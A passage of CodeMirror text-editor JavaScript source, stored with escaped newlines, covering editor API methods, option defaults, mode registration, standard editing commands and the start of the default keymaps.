this.state.modeGen++;\n          regChange(this);\n          return;\n        }\n      }\n    }),\n\n    indentLine: methodOp(function(n, dir, aggressive) {\n      if (typeof dir != \"string\" && typeof dir != \"number\") {\n        if (dir == null) dir = this.options.smartIndent ? \"smart\" : \"prev\";\n        else dir = dir ? \"add\" : \"subtract\";\n      }\n      if (isLine(this.doc, n)) indentLine(this, n, dir, aggressive);\n    }),\n    indentSelection: methodOp(function(how) {\n      var ranges = this.doc.sel.ranges, end = -1;\n      for (var i = 0; i < ranges.length; i++) {\n        var range = ranges[i];\n        if (!range.empty()) {\n          var from = range.from(), to = range.to();\n          var start = Math.max(end, from.line);\n          end = Math.min(this.lastLine(), to.line - (to.ch ? 0 : 1)) + 1;\n          for (var j = start; j < end; ++j)\n            indentLine(this, j, how);\n          var newRanges = this.doc.sel.ranges;\n          if (from.ch == 0 && ranges.length == newRanges.length && newRanges[i].from().ch > 0)\n            replaceOneSelection(this.doc, i, new Range(from, newRanges[i].to()), sel_dontScroll);\n        } else if (range.head.line > end) {\n          indentLine(this, range.head.line, how, true);\n          end = range.head.line;\n          if (i == this.doc.sel.primIndex) ensureCursorVisible(this);\n        }\n      }\n    }),\n\n    // Fetch the parser token for a given character. Useful for hacks\n    // that want to inspect the mode state (say, for completion).\n    getTokenAt: function(pos, precise) {\n      var doc = this.doc;\n      pos = clipPos(doc, pos);\n      var state = getStateBefore(this, pos.line, precise), mode = this.doc.mode;\n      var line = getLine(doc, pos.line);\n      var stream = new StringStream(line.text, this.options.tabSize);\n      while (stream.pos < pos.ch && !stream.eol()) {\n        stream.start = stream.pos;\n        var style = readToken(mode, stream, state);\n      }\n      return {start: stream.start,\n              end: stream.pos,\n              string: stream.current(),\n              type: style || null,\n              state: state};\n    },\n\n    getTokenTypeAt: function(pos) {\n      pos = clipPos(this.doc, pos);\n      var styles = getLineStyles(this, getLine(this.doc, pos.line));\n      var before = 0, after = (styles.length - 1) / 2, ch = pos.ch;\n      var type;\n      if (ch == 0) type = styles[2];\n      else for (;;) {\n        var mid = (before + after) >> 1;\n        if ((mid ? styles[mid * 2 - 1] : 0) >= ch) after = mid;\n        else if (styles[mid * 2 + 1] < ch) before = mid + 1;\n        else { type = styles[mid * 2 + 2]; break; }\n      }\n      var cut = type ? type.indexOf(\"cm-overlay \") : -1;\n      return cut < 0 ? type : cut == 0 ? null : type.slice(0, cut - 1);\n    },\n\n    getModeAt: function(pos) {\n      var mode = this.doc.mode;\n      if (!mode.innerMode) return mode;\n      return CodeMirror.innerMode(mode, this.getTokenAt(pos).state).mode;\n    },\n\n    getHelper: function(pos, type) {\n      return this.getHelpers(pos, type)[0];\n    },\n\n    getHelpers: function(pos, type) {\n      var found = [];\n      if (!helpers.hasOwnProperty(type)) return helpers;\n      var help = helpers[type], mode = this.getModeAt(pos);\n      if (typeof mode[type] == \"string\") {\n        if (help[mode[type]]) found.push(help[mode[type]]);\n      } else if (mode[type]) {\n        for (var i = 0; i < mode[type].length; i++) {\n          var val = help[mode[type][i]];\n          if (val) found.push(val);\n        }\n      } else if (mode.helperType && help[mode.helperType]) {\n        found.push(help[mode.helperType]);\n      } else if (help[mode.name]) {\n        found.push(help[mode.name]);\n      }\n      for (var i = 0; i < help._global.length; i++) {\n        var cur = help._global[i];\n        if (cur.pred(mode, this) && indexOf(found, cur.val) == -1)\n          found.push(cur.val);\n      }\n      return found;\n    },\n\n    getStateAfter: function(line, precise) {\n      var doc = this.doc;\n      line = clipLine(doc, line == null ? doc.first + doc.size - 1: line);\n      return getStateBefore(this, line + 1, precise);\n    },\n\n    cursorCoords: function(start, mode) {\n      var pos, range = this.doc.sel.primary();\n      if (start == null) pos = range.head;\n      else if (typeof start == \"object\") pos = clipPos(this.doc, start);\n      else pos = start ? range.from() : range.to();\n      return cursorCoords(this, pos, mode || \"page\");\n    },\n\n    charCoords: function(pos, mode) {\n      return charCoords(this, clipPos(this.doc, pos), mode || \"page\");\n    },\n\n    coordsChar: function(coords, mode) {\n      coords = fromCoordSystem(this, coords, mode || \"page\");\n      return coordsChar(this, coords.left, coords.top);\n    },\n\n    lineAtHeight: function(height, mode) {\n      height = fromCoordSystem(this, {top: height, left: 0}, mode || \"page\").top;\n      return lineAtHeight(this.doc, height + this.display.viewOffset);\n    },\n    heightAtLine: function(line, mode) {\n      var end = false, last = this.doc.first + this.doc.size - 1;\n      if (line < this.doc.first) line = this.doc.first;\n      else if (line > last) { line = last; end = true; }\n      var lineObj = getLine(this.doc, line);\n      return intoCoordSystem(this, lineObj, {top: 0, left: 0}, mode || \"page\").top +\n        (end ? this.doc.height - heightAtLine(lineObj) : 0);\n    },\n\n    defaultTextHeight: function() { return textHeight(this.display); },\n    defaultCharWidth: function() { return charWidth(this.display); },\n\n    setGutterMarker: methodOp(function(line, gutterID, value) {\n      return changeLine(this.doc, line, \"gutter\", function(line) {\n        var markers = line.gutterMarkers || (line.gutterMarkers = {});\n        markers[gutterID] = value;\n        if (!value && isEmpty(markers)) line.gutterMarkers = null;\n        return true;\n      });\n    }),\n\n    clearGutter: methodOp(function(gutterID) {\n      var cm = this, doc = cm.doc, i = doc.first;\n      doc.iter(function(line) {\n        if (line.gutterMarkers && line.gutterMarkers[gutterID]) {\n          line.gutterMarkers[gutterID] = null;\n          regLineChange(cm, i, \"gutter\");\n          if (isEmpty(line.gutterMarkers)) line.gutterMarkers = null;\n        }\n        ++i;\n      });\n    }),\n\n    addLineWidget: methodOp(function(handle, node, options) {\n      return addLineWidget(this, handle, node, options);\n    }),\n\n    removeLineWidget: function(widget) { widget.clear(); },\n\n    lineInfo: function(line) {\n      if (typeof line == \"number\") {\n        if (!isLine(this.doc, line)) return null;\n        var n = line;\n        line = getLine(this.doc, line);\n        if (!line) return null;\n      } else {\n        var n = lineNo(line);\n        if (n == null) return null;\n      }\n      return {line: n, handle: line, text: line.text, gutterMarkers: line.gutterMarkers,\n              textClass: line.textClass, bgClass: line.bgClass, wrapClass: line.wrapClass,\n              widgets: line.widgets};\n    },\n\n    getViewport: function() { return {from: this.display.viewFrom, to: this.display.viewTo};},\n\n    addWidget: function(pos, node, scroll, vert, horiz) {\n      var display = this.display;\n      pos = cursorCoords(this, clipPos(this.doc, pos));\n      var top = pos.bottom, left = pos.left;\n      node.style.position = \"absolute\";\n      display.sizer.appendChild(node);\n      if (vert == \"over\") {\n        top = pos.top;\n      } else if (vert == \"above\" || vert == \"near\") {\n        var vspace = Math.max(display.wrapper.clientHeight, this.doc.height),\n        hspace = Math.max(display.sizer.clientWidth, display.lineSpace.clientWidth);\n        // Default to positioning above (if specified and possible); otherwise default to positioning below\n        if ((vert == 'above' || pos.bottom + node.offsetHeight > vspace) && pos.top > node.offsetHeight)\n          top = pos.top - node.offsetHeight;\n        else if (pos.bottom + node.offsetHeight <= vspace)\n          top = pos.bottom;\n        if (left + node.offsetWidth > hspace)\n          left = hspace - node.offsetWidth;\n      }\n      node.style.top = top + \"px\";\n      node.style.left = node.style.right = \"\";\n      if (horiz == \"right\") {\n        left = display.sizer.clientWidth - node.offsetWidth;\n        node.style.right = \"0px\";\n      } else {\n        if (horiz == \"left\") left = 0;\n        else if (horiz == \"middle\") left = (display.sizer.clientWidth - node.offsetWidth) / 2;\n        node.style.left = left + \"px\";\n      }\n      if (scroll)\n        scrollIntoView(this, left, top, left + node.offsetWidth, top + node.offsetHeight);\n    },\n\n    triggerOnKeyDown: methodOp(onKeyDown),\n    triggerOnKeyPress: methodOp(onKeyPress),\n    triggerOnKeyUp: onKeyUp,\n\n    execCommand: function(cmd) {\n      if (commands.hasOwnProperty(cmd))\n        return commands[cmd](this);\n    },\n\n    findPosH: function(from, amount, unit, visually) {\n      var dir = 1;\n      if (amount < 0) { dir = -1; amount = -amount; }\n      for (var i = 0, cur = clipPos(this.doc, from); i < amount; ++i) {\n        cur = findPosH(this.doc, cur, dir, unit, visually);\n        if (cur.hitSide) break;\n      }\n      return cur;\n    },\n\n    moveH: methodOp(function(dir, unit) {\n      var cm = this;\n      cm.extendSelectionsBy(function(range) {\n        if (cm.display.shift || cm.doc.extend || range.empty())\n          return findPosH(cm.doc, range.head, dir, unit, cm.options.rtlMoveVisually);\n        else\n          return dir < 0 ? range.from() : range.to();\n      }, sel_move);\n    }),\n\n    deleteH: methodOp(function(dir, unit) {\n      var sel = this.doc.sel, doc = this.doc;\n      if (sel.somethingSelected())\n        doc.replaceSelection(\"\", null, \"+delete\");\n      else\n        deleteNearSelection(this, function(range) {\n          var other = findPosH(doc, range.head, dir, unit, false);\n          return dir < 0 ? {from: other, to: range.head} : {from: range.head, to: other};\n        });\n    }),\n\n    findPosV: function(from, amount, unit, goalColumn) {\n      var dir = 1, x = goalColumn;\n      if (amount < 0) { dir = -1; amount = -amount; }\n      for (var i = 0, cur = clipPos(this.doc, from); i < amount; ++i) {\n        var coords = cursorCoords(this, cur, \"div\");\n        if (x == null) x = coords.left;\n        else coords.left = x;\n        cur = findPosV(this, coords, dir, unit);\n        if (cur.hitSide) break;\n      }\n      return cur;\n    },\n\n    moveV: methodOp(function(dir, unit) {\n      var cm = this, doc = this.doc, goals = [];\n      var collapse = !cm.display.shift && !doc.extend && doc.sel.somethingSelected();\n      doc.extendSelectionsBy(function(range) {\n        if (collapse)\n          return dir < 0 ? range.from() : range.to();\n        var headPos = cursorCoords(cm, range.head, \"div\");\n        if (range.goalColumn != null) headPos.left = range.goalColumn;\n        goals.push(headPos.left);\n        var pos = findPosV(cm, headPos, dir, unit);\n        if (unit == \"page\" && range == doc.sel.primary())\n          addToScrollPos(cm, null, charCoords(cm, pos, \"div\").top - headPos.top);\n        return pos;\n      }, sel_move);\n      if (goals.length) for (var i = 0; i < doc.sel.ranges.length; i++)\n        doc.sel.ranges[i].goalColumn = goals[i];\n    }),\n\n    // Find the word at the given position (as returned by coordsChar).\n    findWordAt: function(pos) {\n      var doc = this.doc, line = getLine(doc, pos.line).text;\n      var start = pos.ch, end = pos.ch;\n      if (line) {\n        var helper = this.getHelper(pos, \"wordChars\");\n        if ((pos.xRel < 0 || end == line.length) && start) --start; else ++end;\n        var startChar = line.charAt(start);\n        var check = isWordChar(startChar, helper)\n          ? function(ch) { return isWordChar(ch, helper); }\n          : /\\s/.test(startChar) ? function(ch) {return /\\s/.test(ch);}\n          : function(ch) {return !/\\s/.test(ch) && !isWordChar(ch);};\n        while (start > 0 && check(line.charAt(start - 1))) --start;\n        while (end < line.length && check(line.charAt(end))) ++end;\n      }\n      return new Range(Pos(pos.line, start), Pos(pos.line, end));\n    },\n\n    toggleOverwrite: function(value) {\n      if (value != null && value == this.state.overwrite) return;\n      if (this.state.overwrite = !this.state.overwrite)\n        addClass(this.display.cursorDiv, \"CodeMirror-overwrite\");\n      else\n        rmClass(this.display.cursorDiv, \"CodeMirror-overwrite\");\n\n      signal(this, \"overwriteToggle\", this, this.state.overwrite);\n    },\n    hasFocus: function() { return activeElt() == this.display.input; },\n\n    scrollTo: methodOp(function(x, y) {\n      if (x != null || y != null) resolveScrollToPos(this);\n      if (x != null) this.curOp.scrollLeft = x;\n      if (y != null) this.curOp.scrollTop = y;\n    }),\n    getScrollInfo: function() {\n      var scroller = this.display.scroller, co = scrollerCutOff;\n      return {left: scroller.scrollLeft, top: scroller.scrollTop,\n              height: scroller.scrollHeight - co, width: scroller.scrollWidth - co,\n              clientHeight: scroller.clientHeight - co, clientWidth: scroller.clientWidth - co};\n    },\n\n    scrollIntoView: methodOp(function(range, margin) {\n      if (range == null) {\n        range = {from: this.doc.sel.primary().head, to: null};\n        if (margin == null) margin = this.options.cursorScrollMargin;\n      } else if (typeof range == \"number\") {\n        range = {from: Pos(range, 0), to: null};\n      } else if (range.from == null) {\n        range = {from: range, to: null};\n      }\n      if (!range.to) range.to = range.from;\n      range.margin = margin || 0;\n\n      if (range.from.line != null) {\n        resolveScrollToPos(this);\n        this.curOp.scrollToPos = range;\n      } else {\n        var sPos = calculateScrollPos(this, Math.min(range.from.left, range.to.left),\n                                      Math.min(range.from.top, range.to.top) - range.margin,\n                                      Math.max(range.from.right, range.to.right),\n                                      Math.max(range.from.bottom, range.to.bottom) + range.margin);\n        this.scrollTo(sPos.scrollLeft, sPos.scrollTop);\n      }\n    }),\n\n    setSize: methodOp(function(width, height) {\n      var cm = this;\n      function interpret(val) {\n        return typeof val == \"number\" || /^\\d+$/.test(String(val)) ? val + \"px\" : val;\n      }\n      if (width != null) cm.display.wrapper.style.width = interpret(width);\n      if (height != null) cm.display.wrapper.style.height = interpret(height);\n      if (cm.options.lineWrapping) clearLineMeasurementCache(this);\n      var lineNo = cm.display.viewFrom;\n      cm.doc.iter(lineNo, cm.display.viewTo, function(line) {\n        if (line.widgets) for (var i = 0; i < line.widgets.length; i++)\n          if (line.widgets[i].noHScroll) { regLineChange(cm, lineNo, \"widget\"); break; }\n        ++lineNo;\n      });\n      cm.curOp.forceUpdate = true;\n      signal(cm, \"refresh\", this);\n    }),\n\n    operation: function(f){return runInOp(this, f);},\n\n    refresh: methodOp(function() {\n      var oldHeight = this.display.cachedTextHeight;\n      regChange(this);\n      this.curOp.forceUpdate = true;\n      clearCaches(this);\n      this.scrollTo(this.doc.scrollLeft, this.doc.scrollTop);\n      updateGutterSpace(this);\n      if (oldHeight == null || Math.abs(oldHeight - textHeight(this.display)) > .5)\n        estimateLineHeights(this);\n      signal(this, \"refresh\", this);\n    }),\n\n    swapDoc: methodOp(function(doc) {\n      var old = this.doc;\n      old.cm = null;\n      attachDoc(this, doc);\n      clearCaches(this);\n      resetInput(this);\n      this.scrollTo(doc.scrollLeft, doc.scrollTop);\n      this.curOp.forceScroll = true;\n      signalLater(this, \"swapDoc\", this, old);\n      return old;\n    }),\n\n    getInputField: function(){return this.display.input;},\n    getWrapperElement: function(){return this.display.wrapper;},\n    getScrollerElement: function(){return this.display.scroller;},\n    getGutterElement: function(){return this.display.gutters;}\n  };\n  eventMixin(CodeMirror);\n\n  // OPTION DEFAULTS\n\n  // The default configuration options.\n  var defaults = CodeMirror.defaults = {};\n  // Functions to run when options are changed.\n  var optionHandlers = CodeMirror.optionHandlers = {};\n\n  function option(name, deflt, handle, notOnInit) {\n    CodeMirror.defaults[name] = deflt;\n    if (handle) optionHandlers[name] =\n      notOnInit ? function(cm, val, old) {if (old != Init) handle(cm, val, old);} : handle;\n  }\n\n  // Passed to option handlers when there is no old value.\n  var Init = CodeMirror.Init = {toString: function(){return \"CodeMirror.Init\";}};\n\n  // These two are, on init, called from the constructor because they\n  // have to be initialized before the editor can start at all.\n  option(\"value\", \"\", function(cm, val) {\n    cm.setValue(val);\n  }, true);\n  option(\"mode\", null, function(cm, val) {\n    cm.doc.modeOption = val;\n    loadMode(cm);\n  }, true);\n\n  option(\"indentUnit\", 2, loadMode, true);\n  option(\"indentWithTabs\", false);\n  option(\"smartIndent\", true);\n  option(\"tabSize\", 4, function(cm) {\n    resetModeState(cm);\n    clearCaches(cm);\n    regChange(cm);\n  }, true);\n  option(\"specialChars\", /[\\t\\u0000-\\u0019\\u00ad\\u200b-\\u200f\\u2028\\u2029\\ufeff]/g, function(cm, val) {\n    cm.options.specialChars = new RegExp(val.source + (val.test(\"\\t\") ? \"\" : \"|\\t\"), \"g\");\n    cm.refresh();\n  }, true);\n  option(\"specialCharPlaceholder\", defaultSpecialCharPlaceholder, function(cm) {cm.refresh();}, true);\n  option(\"electricChars\", true);\n  option(\"rtlMoveVisually\", !windows);\n  option(\"wholeLineUpdateBefore\", true);\n\n  option(\"theme\", \"default\", function(cm) {\n    themeChanged(cm);\n    guttersChanged(cm);\n  }, true);\n  option(\"keyMap\", \"default\", keyMapChanged);\n  option(\"extraKeys\", null);\n\n  option(\"lineWrapping\", false, wrappingChanged, true);\n  option(\"gutters\", [], function(cm) {\n    setGuttersForLineNumbers(cm.options);\n    guttersChanged(cm);\n  }, true);\n  option(\"fixedGutter\", true, function(cm, val) {\n    cm.display.gutters.style.left = val ? compensateForHScroll(cm.display) + \"px\" : \"0\";\n    cm.refresh();\n  }, true);\n  option(\"coverGutterNextToScrollbar\", false, updateScrollbars, true);\n  option(\"lineNumbers\", false, function(cm) {\n    setGuttersForLineNumbers(cm.options);\n    guttersChanged(cm);\n  }, true);\n  option(\"firstLineNumber\", 1, guttersChanged, true);\n  option(\"lineNumberFormatter\", function(integer) {return integer;}, guttersChanged, true);\n  option(\"showCursorWhenSelecting\", false, updateSelection, true);\n\n  option(\"resetSelectionOnContextMenu\", true);\n\n  option(\"readOnly\", false, function(cm, val) {\n    if (val == \"nocursor\") {\n      onBlur(cm);\n      cm.display.input.blur();\n      cm.display.disabled = true;\n    } else {\n      cm.display.disabled = false;\n      if (!val) resetInput(cm);\n    }\n  });\n  option(\"disableInput\", false, function(cm, val) {if (!val) resetInput(cm);}, true);\n  option(\"dragDrop\", true);\n\n  option(\"cursorBlinkRate\", 530);\n  option(\"cursorScrollMargin\", 0);\n  option(\"cursorHeight\", 1, updateSelection, true);\n  option(\"singleCursorHeightPerLine\", true, updateSelection, true);\n  option(\"workTime\", 100);\n  option(\"workDelay\", 100);\n  option(\"flattenSpans\", true, resetModeState, true);\n  option(\"addModeClass\", false, resetModeState, true);\n  option(\"pollInterval\", 100);\n  option(\"undoDepth\", 200, function(cm, val){cm.doc.history.undoDepth = val;});\n  option(\"historyEventDelay\", 1250);\n  option(\"viewportMargin\", 10, function(cm){cm.refresh();}, true);\n  option(\"maxHighlightLength\", 10000, resetModeState, true);\n  option(\"moveInputWithCursor\", true, function(cm, val) {\n    if (!val) cm.display.inputDiv.style.top = cm.display.inputDiv.style.left = 0;\n  });\n\n  option(\"tabindex\", null, function(cm, val) {\n    cm.display.input.tabIndex = val || \"\";\n  });\n  option(\"autofocus\", null);\n\n  // MODE DEFINITION AND QUERYING\n\n  // Known modes, by name and by MIME\n  var modes = CodeMirror.modes = {}, mimeModes = CodeMirror.mimeModes = {};\n\n  // Extra arguments are stored as the mode's dependencies, which is\n  // used by (legacy) mechanisms like loadmode.js to automatically\n  // load a mode. (Preferred mechanism is the require/define calls.)\n  CodeMirror.defineMode = function(name, mode) {\n    if (!CodeMirror.defaults.mode && name != \"null\") CodeMirror.defaults.mode = name;\n    if (arguments.length > 2) {\n      mode.dependencies = [];\n      for (var i = 2; i < arguments.length; ++i) mode.dependencies.push(arguments[i]);\n    }\n    modes[name] = mode;\n  };\n\n  CodeMirror.defineMIME = function(mime, spec) {\n    mimeModes[mime] = spec;\n  };\n\n  // Given a MIME type, a {name, ...options} config object, or a name\n  // string, return a mode config object.\n  CodeMirror.resolveMode = function(spec) {\n    if (typeof spec == \"string\" && mimeModes.hasOwnProperty(spec)) {\n      spec = mimeModes[spec];\n    } else if (spec && typeof spec.name == \"string\" && mimeModes.hasOwnProperty(spec.name)) {\n      var found = mimeModes[spec.name];\n      if (typeof found == \"string\") found = {name: found};\n      spec = createObj(found, spec);\n      spec.name = found.name;\n    } else if (typeof spec == \"string\" && /^[\\w\\-]+\\/[\\w\\-]+\\+xml$/.test(spec)) {\n      return CodeMirror.resolveMode(\"application/xml\");\n    }\n    if (typeof spec == \"string\") return {name: spec};\n    else return spec || {name: \"null\"};\n  };\n\n  // Given a mode spec (anything that resolveMode accepts), find and\n  // initialize an actual mode object.\n  CodeMirror.getMode = function(options, spec) {\n    var spec = CodeMirror.resolveMode(spec);\n    var mfactory = modes[spec.name];\n    if (!mfactory) return CodeMirror.getMode(options, \"text/plain\");\n    var modeObj = mfactory(options, spec);\n    if (modeExtensions.hasOwnProperty(spec.name)) {\n      var exts = modeExtensions[spec.name];\n      for (var prop in exts) {\n        if (!exts.hasOwnProperty(prop)) continue;\n        if (modeObj.hasOwnProperty(prop)) modeObj[\"_\" + prop] = modeObj[prop];\n        modeObj[prop] = exts[prop];\n      }\n    }\n    modeObj.name = spec.name;\n    if (spec.helperType) modeObj.helperType = spec.helperType;\n    if (spec.modeProps) for (var prop in spec.modeProps)\n      modeObj[prop] = spec.modeProps[prop];\n\n    return modeObj;\n  };\n\n  // Minimal default mode.\n  CodeMirror.defineMode(\"null\", function() {\n    return {token: function(stream) {stream.skipToEnd();}};\n  });\n  CodeMirror.defineMIME(\"text/plain\", \"null\");\n\n  // This can be used to attach properties to mode objects from\n  // outside the actual mode definition.\n  var modeExtensions = CodeMirror.modeExtensions = {};\n  CodeMirror.extendMode = function(mode, properties) {\n    var exts = modeExtensions.hasOwnProperty(mode) ? modeExtensions[mode] : (modeExtensions[mode] = {});\n    copyObj(properties, exts);\n  };\n\n  // EXTENSIONS\n\n  CodeMirror.defineExtension = function(name, func) {\n    CodeMirror.prototype[name] = func;\n  };\n  CodeMirror.defineDocExtension = function(name, func) {\n    Doc.prototype[name] = func;\n  };\n  CodeMirror.defineOption = option;\n\n  var initHooks = [];\n  CodeMirror.defineInitHook = function(f) {initHooks.push(f);};\n\n  var helpers = CodeMirror.helpers = {};\n  CodeMirror.registerHelper = function(type, name, value) {\n    if (!helpers.hasOwnProperty(type)) helpers[type] = CodeMirror[type] = {_global: []};\n    helpers[type][name] = value;\n  };\n  CodeMirror.registerGlobalHelper = function(type, name, predicate, value) {\n    CodeMirror.registerHelper(type, name, value);\n    helpers[type]._global.push({pred: predicate, val: value});\n  };\n\n  // MODE STATE HANDLING\n\n  // Utility functions for working with state. Exported because nested\n  // modes need to do this for their inner modes.\n\n  var copyState = CodeMirror.copyState = function(mode, state) {\n    if (state === true) return state;\n    if (mode.copyState) return mode.copyState(state);\n    var nstate = {};\n    for (var n in state) {\n      var val = state[n];\n      if (val instanceof Array) val = val.concat([]);\n      nstate[n] = val;\n    }\n    return nstate;\n  };\n\n  var startState = CodeMirror.startState = function(mode, a1, a2) {\n    return mode.startState ? mode.startState(a1, a2) : true;\n  };\n\n  // Given a mode and a state (for that mode), find the inner mode and\n  // state at the position that the state refers to.\n  CodeMirror.innerMode = function(mode, state) {\n    while (mode.innerMode) {\n      var info = mode.innerMode(state);\n      if (!info || info.mode == mode) break;\n      state = info.state;\n      mode = info.mode;\n    }\n    return info || {mode: mode, state: state};\n  };\n\n  // STANDARD COMMANDS\n\n  // Commands are parameter-less actions that can be performed on an\n  // editor, mostly used for keybindings.\n  var commands = CodeMirror.commands = {\n    selectAll: function(cm) {cm.setSelection(Pos(cm.firstLine(), 0), Pos(cm.lastLine()), sel_dontScroll);},\n    singleSelection: function(cm) {\n      cm.setSelection(cm.getCursor(\"anchor\"), cm.getCursor(\"head\"), sel_dontScroll);\n    },\n    killLine: function(cm) {\n      deleteNearSelection(cm, function(range) {\n        if (range.empty()) {\n          var len = getLine(cm.doc, range.head.line).text.length;\n          if (range.head.ch == len && range.head.line < cm.lastLine())\n            return {from: range.head, to: Pos(range.head.line + 1, 0)};\n          else\n            return {from: range.head, to: Pos(range.head.line, len)};\n        } else {\n          return {from: range.from(), to: range.to()};\n        }\n      });\n    },\n    deleteLine: function(cm) {\n      deleteNearSelection(cm, function(range) {\n        return {from: Pos(range.from().line, 0),\n                to: clipPos(cm.doc, Pos(range.to().line + 1, 0))};\n      });\n    },\n    delLineLeft: function(cm) {\n      deleteNearSelection(cm, function(range) {\n        return {from: Pos(range.from().line, 0), to: range.from()};\n      });\n    },\n    delWrappedLineLeft: function(cm) {\n      deleteNearSelection(cm, function(range) {\n        var top = cm.charCoords(range.head, \"div\").top + 5;\n        var leftPos = cm.coordsChar({left: 0, top: top}, \"div\");\n        return {from: leftPos, to: range.from()};\n      });\n    },\n    delWrappedLineRight: function(cm) {\n      deleteNearSelection(cm, function(range) {\n        var top = cm.charCoords(range.head, \"div\").top + 5;\n        var rightPos = cm.coordsChar({left: cm.display.lineDiv.offsetWidth + 100, top: top}, \"div\");\n        return {from: range.from(), to: rightPos };\n      });\n    },\n    undo: function(cm) {cm.undo();},\n    redo: function(cm) {cm.redo();},\n    undoSelection: function(cm) {cm.undoSelection();},\n    redoSelection: function(cm) {cm.redoSelection();},\n    goDocStart: function(cm) {cm.extendSelection(Pos(cm.firstLine(), 0));},\n    goDocEnd: function(cm) {cm.extendSelection(Pos(cm.lastLine()));},\n    goLineStart: function(cm) {\n      cm.extendSelectionsBy(function(range) { return lineStart(cm, range.head.line); },\n                            {origin: \"+move\", bias: 1});\n    },\n    goLineStartSmart: function(cm) {\n      cm.extendSelectionsBy(function(range) {\n        return lineStartSmart(cm, range.head);\n      }, {origin: \"+move\", bias: 1});\n    },\n    goLineEnd: function(cm) {\n      cm.extendSelectionsBy(function(range) { return lineEnd(cm, range.head.line); },\n                            {origin: \"+move\", bias: -1});\n    },\n    goLineRight: function(cm) {\n      cm.extendSelectionsBy(function(range) {\n        var top = cm.charCoords(range.head, \"div\").top + 5;\n        return cm.coordsChar({left: cm.display.lineDiv.offsetWidth + 100, top: top}, \"div\");\n      }, sel_move);\n    },\n    goLineLeft: function(cm) {\n      cm.extendSelectionsBy(function(range) {\n        var top = cm.charCoords(range.head, \"div\").top + 5;\n        return cm.coordsChar({left: 0, top: top}, \"div\");\n      }, sel_move);\n    },\n    goLineLeftSmart: function(cm) {\n      cm.extendSelectionsBy(function(range) {\n        var top = cm.charCoords(range.head, \"div\").top + 5;\n        var pos = cm.coordsChar({left: 0, top: top}, \"div\");\n        if (pos.ch < cm.getLine(pos.line).search(/\\S/)) return lineStartSmart(cm, range.head);\n        return pos;\n      }, sel_move);\n    },\n    goLineUp: function(cm) {cm.moveV(-1, \"line\");},\n    goLineDown: function(cm) {cm.moveV(1, \"line\");},\n    goPageUp: function(cm) {cm.moveV(-1, \"page\");},\n    goPageDown: function(cm) {cm.moveV(1, \"page\");},\n    goCharLeft: function(cm) {cm.moveH(-1, \"char\");},\n    goCharRight: function(cm) {cm.moveH(1, \"char\");},\n    goColumnLeft: function(cm) {cm.moveH(-1, \"column\");},\n    goColumnRight: function(cm) {cm.moveH(1, \"column\");},\n    goWordLeft: function(cm) {cm.moveH(-1, \"word\");},\n    goGroupRight: function(cm) {cm.moveH(1, \"group\");},\n    goGroupLeft: function(cm) {cm.moveH(-1, \"group\");},\n    goWordRight: function(cm) {cm.moveH(1, \"word\");},\n    delCharBefore: function(cm) {cm.deleteH(-1, \"char\");},\n    delCharAfter: function(cm) {cm.deleteH(1, \"char\");},\n    delWordBefore: function(cm) {cm.deleteH(-1, \"word\");},\n    delWordAfter: function(cm) {cm.deleteH(1, \"word\");},\n    delGroupBefore: function(cm) {cm.deleteH(-1, \"group\");},\n    delGroupAfter: function(cm) {cm.deleteH(1, \"group\");},\n    indentAuto: function(cm) {cm.indentSelection(\"smart\");},\n    indentMore: function(cm) {cm.indentSelection(\"add\");},\n    indentLess: function(cm) {cm.indentSelection(\"subtract\");},\n    insertTab: function(cm) {cm.replaceSelection(\"\\t\");},\n    insertSoftTab: function(cm) {\n      var spaces = [], ranges = cm.listSelections(), tabSize = cm.options.tabSize;\n      for (var i = 0; i < ranges.length; i++) {\n        var pos = ranges[i].from();\n        var col = countColumn(cm.getLine(pos.line), pos.ch, tabSize);\n        spaces.push(new Array(tabSize - col % tabSize + 1).join(\" \"));\n      }\n      cm.replaceSelections(spaces);\n    },\n    defaultTab: function(cm) {\n      if (cm.somethingSelected()) cm.indentSelection(\"add\");\n      else cm.execCommand(\"insertTab\");\n    },\n    transposeChars: function(cm) {\n      runInOp(cm, function() {\n        var ranges = cm.listSelections(), newSel = [];\n        for (var i = 0; i < ranges.length; i++) {\n          var cur = ranges[i].head, line = getLine(cm.doc, cur.line).text;\n          if (line) {\n            if (cur.ch == line.length) cur = new Pos(cur.line, cur.ch - 1);\n            if (cur.ch > 0) {\n              cur = new Pos(cur.line, cur.ch + 1);\n              cm.replaceRange(line.charAt(cur.ch - 1) + line.charAt(cur.ch - 2),\n                              Pos(cur.line, cur.ch - 2), cur, \"+transpose\");\n            } else if (cur.line > cm.doc.first) {\n              var prev = getLine(cm.doc, cur.line - 1).text;\n              if (prev)\n                cm.replaceRange(line.charAt(0) + \"\\n\" + prev.charAt(prev.length - 1),\n                                Pos(cur.line - 1, prev.length - 1), Pos(cur.line, 1), \"+transpose\");\n            }\n          }\n          newSel.push(new Range(cur, cur));\n        }\n        cm.setSelections(newSel);\n      });\n    },\n    newlineAndIndent: function(cm) {\n      runInOp(cm, function() {\n        var len = cm.listSelections().length;\n        for (var i = 0; i < len; i++) {\n          var range = cm.listSelections()[i];\n          cm.replaceRange(\"\\n\", range.anchor, range.head, \"+input\");\n          cm.indentLine(range.from().line + 1, null, true);\n          ensureCursorVisible(cm);\n        }\n      });\n    },\n    toggleOverwrite: function(cm) {cm.toggleOverwrite();}\n  };\n\n  // STANDARD KEYMAPS\n\n  var keyMap = CodeMirror.keyMap = {};\n  keyMap.basic = {\n    \"Left\": \"goCharLeft\", \"Right\": \"goCharRight\", \"Up\": \"goLineUp\", \"Down\": \"goLineDown\",\n    \"End\": \"goLineEnd\", \"Home\": \"goLineStartSmart\", \"PageUp\": \"goPageUp\", \"PageDown\": \"goPageDown\",\n    \"Delete\": \"delCharAfter\", \"Backspace\": \"delCharBefore\", \"Shift-Backspace\": \"delCharBefore\",\n    \"Tab\": \"defaultTab\", \"Shift-Tab\": \"indentAuto\",\n    \"Enter\": \"newlineAndIndent\", \"Insert\": \"toggleOverwrite\",\n    \"Esc\": \"singleSelection\"\n  };\n  // Note that the save and find-related commands aren't defined by\n  // default. User code or addons can define them. Unknown commands\n  // are simply ignored.\n  keyMap.pcDefault = {\n    \"Ctrl-A\": \"selectAll\", \"Ctrl-D\": \"deleteLine\", \"Ctrl-Z\": \"undo\", \"Shift-Ctrl-Z\": \"redo\", \"Ctrl-Y\": \"redo\",\n    \"Ctrl-Home\": \"goDocStart\", \"Ctrl-Up\": \"goDocStart\", \"Ctrl-End\": \"goDocEnd\", \"Ctrl-Down\": \"goDocEnd\",\n    \"Ctrl-Left\": 